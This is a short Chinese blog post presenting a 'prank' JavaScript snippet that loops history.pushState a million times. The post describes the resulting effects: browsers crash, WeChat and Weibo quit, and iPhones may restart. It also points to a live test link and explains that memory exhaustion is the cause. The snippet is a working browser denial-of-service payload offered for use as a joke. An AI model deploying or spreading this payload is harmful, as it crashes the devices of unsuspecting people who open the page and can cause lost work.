Hacper's Blog

一恶搞代码

在csngmap的磨盘看到的一段让电脑崩溃手机重启的代码:

  1. <script>
  2.             var total = “”;
  3.             for (var i = 0; i < 1000000; i++)
  4.             {
  5.                 total = total + i.toString();
  6.                 history.pushState(00, total);
  7.             }
  8. </script>

点击测试
点击完可能产生的后果:

PC端用浏览器打开:点开链接以后,电脑CPU内存极有可能一路狂飙直至浏览器崩溃卡死。

移动端(安卓、iPhone)用三方浏览器打开:点开链接以后浏览器会闪退。

移动端(安卓、iPhone)用嵌入浏览器的应用打开:在微博、微信客户端中点开链接会闪退。
iPhone用Safari打开:点开链接之后,手机可能会注销重启。

自己在安卓手机测试效果:
用QQ打开,卡死;
用谷歌浏览器打开,浏览器停止运行。

原理:
利用history.pushState()向history添加当前页面的记录。循环了1000000次,快速地向history中添加记录,最终就会导致内存占用迅速增大到机器无法承受,然后浏览器崩溃。

2 Comments

  1. 递归不是更快?虽然我不知道JS有没有递归。

Leave a Reply